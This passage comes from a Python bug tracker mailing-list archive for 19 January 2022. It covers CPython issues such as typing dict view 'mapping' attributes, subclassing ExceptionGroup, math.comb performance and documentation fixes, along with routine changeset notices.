nodes. So you could do for instr in dis.Bytecode(source): print("located in: ", instr.positions.lineno) instead of for instr in dis.Bytecode(source): if instr.positions: lineno = instr.positions[0] else: lineno = None print("located in: ", lineno) I think this is a bug that we are not currently using it, I'd say we should use it properly and go with option 2. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 03:59:44 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 19 Jan 2022 08:59:44 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642582784.05.0.739865395887.issue46399@roundup.psfhosted.org> Alex Waygood added the comment: I agree with Inada that not every internal type should be exposed, but I would make an exception for the dict views classes due to the fact that dict subclasses are much more common than subclasses of other mappings, such as OrderedDict. I don't think it's *particularly* important to expose the OrderedDict views classes in the same way. Adding the "mapping" attribute to KeysView/ValuesView/ItemsView seems like it could be quite disruptive ? there may be a lot of third-party users with classes that inherit from those, who'd need to make changes to their code. From a typing perspective, it would also mean that KeysView and ValuesView would have to be parameterised with two TypeVars (key-type and value-type), whereas now they both only take one (KeysView is parameterised with the key-type, ValuesView with the value-type). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 04:34:44 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 09:34:44 +0000 Subject: [issue37422] Documentation on the change of __path__ in Python 3 In-Reply-To: <1561592764.17.0.159166057812.issue37422@roundup.psfhosted.org> Message-ID: <1642584884.44.0.923465370617.issue37422@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 04:48:22 2022 From: report at bugs.python.org (Inada Naoki) Date: Wed, 19 Jan 2022 09:48:22 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642585702.88.0.423243863594.issue46399@roundup.psfhosted.org> Inada Naoki added the comment: > I agree with Inada that not every internal type should be exposed, but I would make an exception for the dict views classes due to the fact that dict subclasses are much more common than subclasses of other mappings, such as OrderedDict. I don't think it's *particularly* important to expose the OrderedDict views classes in the same way. I am afraid that you misread me. I used OrderedDict as one example of dict subclass. I didn't mean dict_(keys|items|values) shouldn't exposed because of I don't want to expose odict_(keys|items|values). Anyway, OrderedDict was not good choise to explain my thought because its builtin type and defined in typeshed. Instead, I use sortedcontainers.SortedDict as example. See https://github.com/grantjenks/python-sortedcontainers/blob/dff7ef79a21b3f3ceb6a19868f302f0a680aa243/sortedcontainers/sorteddict.py#L43 It is a dict subclass. It's `keys()` method returns `SortedKeysView`. `SortedKeysView` is subclass of `collections.abc.KeysView`. But it is not subclass of `dict_keys`. If `dict.keys()` in typeshed defines it returns `dict_keys`, doesn't mypy flag it as an "incompatible override"? So I propose that typeshed defines that dict.keys() returns KeysView, not dict_keys. Although subclass of dict is very common, it is very rare that: * Override `keys()`, and * Returns `super().keys()`, instead of KeysView (or list), and * `.keys().mapping` is accessed. It is very minor inconvinience that user need to ignore false positive for this very specific cases. Or do you think this case is much more common than classes like SortedDict? Note that dict_(keys|items|values) is implementation detail and subclassing it doesn't make sense. Another option is adding more ABC or Protocol that defines `.mapping` attribute. SortedKeysView can inherit it and implement `.mapping`. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 05:10:43 2022 From: report at bugs.python.org (Inada Naoki) Date: Wed, 19 Jan 2022 10:10:43 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642587043.13.0.597451967796.issue46399@roundup.psfhosted.org> Inada Naoki added the comment: In other words, a. If `.keys()` in all dict subclasses must return subclass of `dict_keys`: `dict.keys() -> dict_keys`. b. If `.keys().mapping` must be accessible for all dict subclasses: Add `.mapping` to `KeysView`. c. If `.keys().mapping` is optional for dict subclasses: typeshed can't add `.mapping` to anywhere, AFAIK. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 05:16:01 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 19 Jan 2022 10:16:01 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642587361.28.0.571309674684.issue37295@roundup.psfhosted.org> Serhiy Storchaka added the comment: comb(n, k) can be computed as perm(n, k) // factorial(k). $ ./python -m timeit -r1 -n1 -s 'from math import comb' "comb(1000000, 500000)" recursive: 1 loop, best of 1: 9.16 sec per loop iterative: 1 loop, best of 1: 164 sec per loop $ ./python -m timeit -r1 -n1 -s 'from math import perm, factorial' "perm(1000000, 500000) // factorial(500000)" recursive: 1 loop, best of 1: 19.8 sec per loop iterative: 1 loop, best of 1: 137 sec per loop It is slightly faster than division on every step if use the iterative algorithm, but still much slower than the recursive algorithm. And the latter if faster if perform many small divisions and keep intermediate results smaller. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 05:16:13 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 10:16:13 +0000 Subject: [issue38561] [doc] multiprocessing.Queue fails intermittently with "Broken pipe" In-Reply-To: <1571794848.94.0.432646449728.issue38561@roundup.psfhosted.org> Message-ID: <1642587373.23.0.891041575332.issue38561@roundup.psfhosted.org> Irit Katriel added the comment: I don't think you're supposed to close the queue more than once. The documentation can be improved on that. Currently the documentation of close is: close() Indicate that no more data will be put on this queue by the current process. The background thread will quit once it has flushed all buffered data to the pipe. This is called automatically when the queue is garbage collected. https://docs.python.org/3/library/multiprocessing.html#multiprocessing.Queue.close That could be read to imply to each process needs to indicate when it is done. ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python, iritkatriel title: multiprocessing.Queue fails intermittently with "Broken pipe" -> [doc] multiprocessing.Queue fails intermittently with "Broken pipe" type: -> behavior versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 05:23:29 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 19 Jan 2022 10:23:29 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642587809.85.0.17996646152.issue46399@roundup.psfhosted.org> Serhiy Storchaka added the comment: I share concerns of Inada-san. I also think that keeping a status quo (ignoring the mapping attribute in typing) is the lesser evil. I am not sure that exposing this attribute was a good idea. We do not expose attributes list and index for list iterators. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 05:27:36 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 19 Jan 2022 10:27:36 +0000 Subject: [issue43869] Fix documentation of epoch/time.time In-Reply-To: <1618586158.57.0.649486184749.issue43869@roundup.psfhosted.org> Message-ID: <1642588056.49.0.6788594736.issue43869@roundup.psfhosted.org> STINNER Victor added the comment: New changeset a847785b40ed8819bde2dac5849dc31d15e99a74 by Victor Stinner in branch 'main': bpo-43869: Time Epoch is the same on all platforms (GH-30664) https://github.com/python/cpython/commit/a847785b40ed8819bde2dac5849dc31d15e99a74 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 05:27:50 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 19 Jan 2022 10:27:50 +0000 Subject: [issue43869] Fix documentation of epoch/time.time In-Reply-To: <1618586158.57.0.649486184749.issue43869@roundup.psfhosted.org> Message-ID: <1642588070.49.0.862382465651.issue43869@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 05:30:28 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 10:30:28 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642588228.64.0.352742206053.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28881 pull_request: https://github.com/python/cpython/pull/30682 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 05:41:07 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 10:41:07 +0000 Subject: [issue46422] Why do we need `dis.Positions`? In-Reply-To: <1642509008.04.0.395294321194.issue46422@roundup.psfhosted.org> Message-ID: <1642588867.63.0.804498636953.issue46422@roundup.psfhosted.org> Nikita Sobolev added the comment: Ok then, I will send my option `2` proposal to fix this later today. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 06:06:14 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 19 Jan 2022 11:06:14 +0000 Subject: [issue46430] intern strings in deepfrozen modules Message-ID: <1642590374.41.0.714192738609.issue46430@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: gvanrossum, kumaraditya303 priority: normal severity: normal status: open title: intern strings in deepfrozen modules versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 06:07:06 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 19 Jan 2022 11:07:06 +0000 Subject: [issue46430] intern strings in deepfrozen modules Message-ID: <1642590426.55.0.278470046406.issue46430@roundup.psfhosted.org> Change by Kumar Aditya : ---------- keywords: +patch pull_requests: +28882 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30683 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 06:16:23 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 19 Jan 2022 11:16:23 +0000 Subject: [issue46430] intern strings in deepfrozen modules Message-ID: <1642590983.92.0.896257318647.issue46430@roundup.psfhosted.org> New submission from Kumar Aditya : Interns strings in deep-frozen modules. See https://github.com/faster-cpython/ideas/issues/218 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 07:04:01 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 12:04:01 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642593841.52.0.928871627886.issue22039@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +28883 pull_request: https://github.com/python/cpython/pull/30684 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 07:04:06 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 12:04:06 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642593846.27.0.344607953511.issue22039@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28884 pull_request: https://github.com/python/cpython/pull/30685 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 07:03:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 12:03:59 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642593839.71.0.904046940864.issue22039@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 3bf6315c4cabf72d64e65e6f85bf72c65137255a by Irit Katriel in branch 'main': bpo-22039: [doc] clarify that there are no plans to disable deleting an attribute via PyObject_SetAttr (GH-30639) https://github.com/python/cpython/commit/3bf6315c4cabf72d64e65e6f85bf72c65137255a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 07:07:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 12:07:27 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642594047.07.0.139527128404.issue22039@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: duplicate -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 07:30:09 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 12:30:09 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642595409.93.0.650969743219.issue22039@roundup.psfhosted.org> miss-islington added the comment: New changeset 7b694b816f30c463ffcab0952d3319320d23e154 by Miss Islington (bot) in branch '3.9': [3.9] bpo-22039: [doc] clarify that there are no plans to disable deleting an attribute via PyObject_SetAttr (GH-30639) (GH-30685) https://github.com/python/cpython/commit/7b694b816f30c463ffcab0952d3319320d23e154 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 07:34:36 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 12:34:36 +0000 Subject: [issue22039] PyObject_SetAttr doesn't mention value = NULL In-Reply-To: <1406051790.64.0.0676928180206.issue22039@psf.upfronthosting.co.za> Message-ID: <1642595676.34.0.909284249367.issue22039@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 0861a50bd434d1f3e12fe7122e37356f1fce93dc by Miss Islington (bot) in branch '3.10': bpo-22039: [doc] clarify that there are no plans to disable deleting an attribute via PyObject_SetAttr (GH-30639) (GH-30684) https://github.com/python/cpython/commit/0861a50bd434d1f3e12fe7122e37356f1fce93dc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 07:47:49 2022 From: report at bugs.python.org (Kumar Aditya) Date: Wed, 19 Jan 2022 12:47:49 +0000 Subject: [issue38912] test_asyncio altered the execution environment In-Reply-To: <1574729421.23.0.927917235759.issue38912@roundup.psfhosted.org> Message-ID: <1642596469.22.0.230772273106.issue38912@roundup.psfhosted.org> Kumar Aditya added the comment: See https://github.com/python/cpython/pull/30274 test_asyncio is always failing with env changed. ---------- nosy: +kumaraditya303 status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:08:55 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 13:08:55 +0000 Subject: [issue38295] test_relative_path of test_py_compile fails on macOS 10.15 Catalina In-Reply-To: <1569605043.98.0.657218273343.issue38295@roundup.psfhosted.org> Message-ID: <1642597735.15.0.336145067778.issue38295@roundup.psfhosted.org> Irit Katriel added the comment: Is there anything more to do here? ---------- nosy: +iritkatriel resolution: -> fixed status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:13:20 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 Jan 2022 13:13:20 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup Message-ID: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> New submission from Petr Viktorin : I want to test a web application by crawling every reachable page. If an error occurs, I need to keep track of the page the error occured at (and additional info like what links were followed to get to the page, so a `__note__` string isn't enough). This info is in an object I'll call Task. To use the improvements from PEP 654 but also keep extra info, I tried to make a subclass of ExceptionGroup: ```python class MultiError(ExceptionGroup): def __init__(self, failed_tasks): super.__init__( f"{len(tasks)} tasks failed", [t.exception for t in failed_tasks], ) self.tasks = tasks # ... and set __note__ on each exception for nice tracebacks ``` but this fails with a rather opaque message: ```python >>> class Task: exception = AssertionError() # enough of a Task for this example ... >>> MultiError([Task(), Task()]) Traceback (most recent call last): File "", line 1, in TypeError: function takes exactly 2 arguments (1 given) ``` Knowing about `__new__` and following a note in the docs, I'm able to fix this, but It's not obvious. Before suggesting stuff, I'll ask: Am I doing something weird, or should this be made easier/more obvious? Another issue I ran into: the list of exceptions is stored in the publicly-named but undocumented attribute `exceptions`. Am I allowed to use it? ---------- messages: 410942 nosy: iritkatriel, petr.viktorin priority: normal severity: normal status: open title: Trouble subclassing ExceptionGroup versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:38:49 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 13:38:49 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1642599529.45.0.0346516917202.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: We probably do need better documentation for subclassing ExceptionGroup. When you subclass an ExceptionGroup you want to make sure that split() and subgroup() (which are used by except*) will continue working, usually by defining a derive() method: https://docs.python.org/3.11/library/exceptions.html#BaseExceptionGroup.derive If you don't define derive the superclass constructor is used, which means you get something of type ExceptionGroup, not your subclass. I don't know whether it's a good idea to make it easier to define a subclass that doesn't support split()/except* because ti changes the constructor signature without providing derive(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:38:57 2022 From: report at bugs.python.org (jiahua wang) Date: Wed, 19 Jan 2022 13:38:57 +0000 Subject: [issue43079] wrong IP address range given for ipv4_mapped In-Reply-To: <1612045040.37.0.190941589781.issue43079@roundup.psfhosted.org> Message-ID: <1642599537.79.0.658708147182.issue43079@roundup.psfhosted.org> Change by jiahua wang : ---------- keywords: +patch nosy: +wangjiahua nosy_count: 2.0 -> 3.0 pull_requests: +28885 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30687 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:39:27 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 Jan 2022 13:39:27 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642599567.73.0.750824723173.issue46376@roundup.psfhosted.org> Petr Viktorin added the comment: Changing the existing functions is a no-go for backwards compatibility reasons. I think the best way forward would be to add a new function, and then possibly deprecate the old one if it's deemed dangerous. If you want to push this forward, could you summarize the use case(s) and expected behavior (docs) for such a function? It probably doesn't need a PEP, but it's worth looking here for what to think about when making a proposal: https://www.python.org/dev/peps/pep-0001/#what-belongs-in-a-successful-pep ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:40:44 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 13:40:44 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1642599644.76.0.209933451773.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: Re the exceptions attribute - I don't think there's a reason not to document it, I can add that (it is mentioned in the PEP). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:45:41 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 13:45:41 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1642599941.76.0.140666111038.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: For your use case - can you just assign the task to a field on the exception other than __note__? The only reason we needed __note__ as an official feature is because we want the interpreter's traceback code to use it. But I think you can assign any field to an exception and then use it in your app: e.webapp_task = task ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:49:16 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 Jan 2022 13:49:16 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1642600156.77.0.59137653013.issue46431@roundup.psfhosted.org> Petr Viktorin added the comment: Thanks for looking into it! > If you don't define derive the superclass constructor is used, which means you get something of type ExceptionGroup, not your subclass. That might be fine in my case (for a MVP at least). Is there any other danger in not overriding it? I see the docs say "A subclass needs to override it", but it might be better to enumerate the perils, or if such a class is unusable, not allow creating it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 08:52:00 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 Jan 2022 13:52:00 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1642600320.03.0.274448990828.issue46431@roundup.psfhosted.org> Petr Viktorin added the comment: > can you just assign the task to a field on the exception other than __note__? That might work, but I'm afraid of touching namespaces I don't own. If the subclass is feasible, I'd rather go with that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 09:12:10 2022 From: report at bugs.python.org (Aviram) Date: Wed, 19 Jan 2022 14:12:10 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642601530.06.0.698399197983.issue46376@roundup.psfhosted.org> Aviram added the comment: Sure, I will do so. The proposal should be written here, right? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 09:13:48 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 14:13:48 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails In-Reply-To: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> Message-ID: <1642601628.72.0.892930228521.issue46416@roundup.psfhosted.org> Ken Jin added the comment: New changeset 2792d6d18eab3efeb71e6397f88db86e610541f1 by Nikita Sobolev in branch 'main': bpo-46416: Allow direct invocation of `Lib/test/test_typing.py` (GH-30641) https://github.com/python/cpython/commit/2792d6d18eab3efeb71e6397f88db86e610541f1 ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 09:15:20 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 Jan 2022 14:15:20 +0000 Subject: [issue46376] PyMapping_Check returns 1 for list In-Reply-To: <1642158738.08.0.81874503016.issue46376@roundup.psfhosted.org> Message-ID: <1642601720.74.0.250140747077.issue46376@roundup.psfhosted.org> Petr Viktorin added the comment: I'd post it to capi-sig, or to the existing thread on python-dev. But here's a good place too, especially if you want feedback from a smaller group of people first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 09:24:16 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 14:24:16 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1642602256.67.0.453108267236.issue46431@roundup.psfhosted.org> Irit Katriel added the comment: > Is there any other danger in not overriding it? No issue as long as you don't use split()/subgroup() or except*. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 09:24:34 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 14:24:34 +0000 Subject: [issue46431] Trouble subclassing ExceptionGroup In-Reply-To: <1642598000.53.0.498228556289.issue46431@roundup.psfhosted.org> Message-ID: <1642602274.08.0.880675137596.issue46431@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +gvanrossum, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 09:45:59 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 19 Jan 2022 14:45:59 +0000 Subject: [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs In-Reply-To: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> Message-ID: <1642603559.54.0.780335673669.issue46231@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 353674f289076eecf848d7a26871cce529b89a98 by Miss Islington (bot) in branch '3.9': bpo-46231: Remove invalid_* rules preceded by more tokens from the grammar docs (GH-30341) (GH-30392) https://github.com/python/cpython/commit/353674f289076eecf848d7a26871cce529b89a98 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 09:53:50 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 14:53:50 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1642604030.11.0.154666480292.issue45680@roundup.psfhosted.org> Ken Jin added the comment: New changeset 0eae9a2a2db6cc5a72535f61bb988cc417011640 by Alex Waygood in branch 'main': bpo-45680: Clarify documentation on ``GenericAlias`` objects (GH-29335) https://github.com/python/cpython/commit/0eae9a2a2db6cc5a72535f61bb988cc417011640 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 09:53:50 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 14:53:50 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1642604030.11.0.154666480292.issue45680@roundup.psfhosted.org> Ken Jin added the comment: New changeset 0eae9a2a2db6cc5a72535f61bb988cc417011640 by Alex Waygood in branch 'main': bpo-45680: Clarify documentation on ``GenericAlias`` objects (GH-29335) https://github.com/python/cpython/commit/0eae9a2a2db6cc5a72535f61bb988cc417011640 ---------- message_count: 11.0 -> 12.0 pull_requests: +28886 pull_request: https://github.com/python/cpython/pull/30688 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 09:59:16 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 19 Jan 2022 14:59:16 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642587809.85.0.17996646152.issue46399@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Given all this discussion I defer to Serhiy and Inada-San. On Wed, Jan 19, 2022 at 02:23 Serhiy Storchaka wrote: > > Serhiy Storchaka added the comment: > > I share concerns of Inada-san. I also think that keeping a status quo > (ignoring the mapping attribute in typing) is the lesser evil. I am not > sure that exposing this attribute was a good idea. We do not expose > attributes list and index for list iterators. > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > -- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:10:10 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 15:10:10 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1642605010.17.0.0875245341903.issue45680@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +28887 pull_request: https://github.com/python/cpython/pull/30689 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:14:40 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 15:14:40 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1642605280.73.0.434275631404.issue45680@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +28888 pull_request: https://github.com/python/cpython/pull/30690 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:24:35 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 15:24:35 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1642605875.3.0.537502098226.issue45680@roundup.psfhosted.org> miss-islington added the comment: New changeset 24d0b331e81b4e4af8dd4c1b66ea7159c1fdabc5 by Miss Islington (bot) in branch '3.10': [3.10] bpo-45680: Clarify documentation on ``GenericAlias`` objects (GH-29335) (GH-30688) https://github.com/python/cpython/commit/24d0b331e81b4e4af8dd4c1b66ea7159c1fdabc5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:28:30 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 15:28:30 +0000 Subject: [issue46424] `typing.Annotated` one type argument usage is not covered in tests In-Reply-To: <1642512737.13.0.839699865567.issue46424@roundup.psfhosted.org> Message-ID: <1642606110.88.0.349283072378.issue46424@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +28889 pull_request: https://github.com/python/cpython/pull/30691 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:30:43 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 15:30:43 +0000 Subject: [issue46424] `typing.Annotated` one type argument usage is not covered in tests In-Reply-To: <1642512737.13.0.839699865567.issue46424@roundup.psfhosted.org> Message-ID: <1642606243.78.0.685698393952.issue46424@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28890 pull_request: https://github.com/python/cpython/pull/30692 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:32:36 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 15:32:36 +0000 Subject: [issue46413] `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` In-Reply-To: <1642431476.98.0.248421511128.issue46413@roundup.psfhosted.org> Message-ID: 